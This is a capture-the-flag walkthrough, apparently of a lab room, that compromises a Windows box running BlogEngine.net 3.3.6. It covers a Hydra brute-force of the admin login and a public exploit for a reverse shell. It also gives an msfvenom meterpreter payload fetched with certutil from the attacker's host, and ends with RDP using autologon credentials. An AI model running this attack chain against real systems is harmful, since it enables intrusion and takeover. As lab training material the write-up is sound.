+## NMAP
+
+This is a windows machine so it might not respond to ping so in this we are going to use `-Pn` to ingore ping the box
+```
+nmap -Pn -sC -sV 10.10.34.2
+
+Host is up (0.17s latency).

+## PORT 80
+
+
+
+I uploaded the image to see where this image was on the internet
+
+
+
+Then I came on to a page where it mentions the clown's name `pennywise`
+
+
+
+## Gobuster
+
+
+
+Here we see an `/admin` page lets visit it
+
+
+
+We can on the source that this is `post` form which the request that will be made here will be post a request.
+
+
+
+
+## Hydra
+
+Now that we know it's a `post` request login form let's try to bruteforce it with `hydra` but we want a username to bruteforce with so by looking at the hints provided by this room the username is `admin` .
+
+Doing this will give you wrong results
+
+`hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.34.2 http-post-form "/Account/login.aspx?ReturnURL=%2fadmin:UserName=^USER^ & Password=^PASS^&Login:Login failed"`
+
+
+
+Now we launch `burpsuite` intercept the login page with the credentials and we will get this request
+
+
+
+```

+```
+Modify the command by replacing `%21admin:` with `/admin:` and Username=admin with `^USER^` , Password=`^PASS^`
+
+```

+
+```
+
+
+
+
+Now give it some time while it's ruuning
+
+
+
+And you will have your username : `admin` and password : `1qaz2wsx`
+
+
+
+
+
+You can see here that it is using `blogengine.net` and it's version is `3.3.6`. So first thing that I'am going to do is search for this on `exploit-db`
+
+https://www.exploit-db.com/exploits/46353
+
+
+
+
+Now edit your IP and port in this code
+
+![]()
+
+Save it as `PostView.ascx`
+
+
+
+
+Go to `Posts` on the blogenginge
+
+
+
+
+
+
+
+
+
+Set up your `netcat` listener
+
+Navigate to `http://10.10.34.2/?theme=../../App_Data/files`
+
+
+
+
+
+
+
+Now this shell is unstable so we are going to upload a payload and capture it using `metasploit`
+
+## Msfvenom
+
+```
+msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.14.3.143 LPORT=5555 -f exe > shell.exe
+```
+
+
+
+## Metasploit
+
+Launch metasploit through `msfconsole -q`
+
+`use exploit/multi/handler ` for listener
+
+
+
+Set the options as same as on the payload
+
+
+
+Now upload it to the reverse shell
+
+`python3 -m http.server 80` For uploading
+
+`certutil.exe -urlcache -f http://10.14.3.143:80/shell.exe shell.exe` For donwloading through reverse shell
+
+
+
+
+And looks we have it on the windows box
+
+
+
+And just like that we have a stabilized reverse shell through metasploit ,awesome !
+
+
+
+You can run `systeminfo` on cmd
+
+```
+systeminfo
+

+
+```
+Here you can find `Orginal Install Date`
+
+For some reason the abonormal service part was giving me issues so I skipped doing the whole `message.exe` thing instead I found something interesting with winpeas that there are autologon credentials for the administrator , We know that RDP on port 3389 is open so we can use `remmina` and get in to the box
+
+
+
+Now we are administrator and can do pretty much anythin.
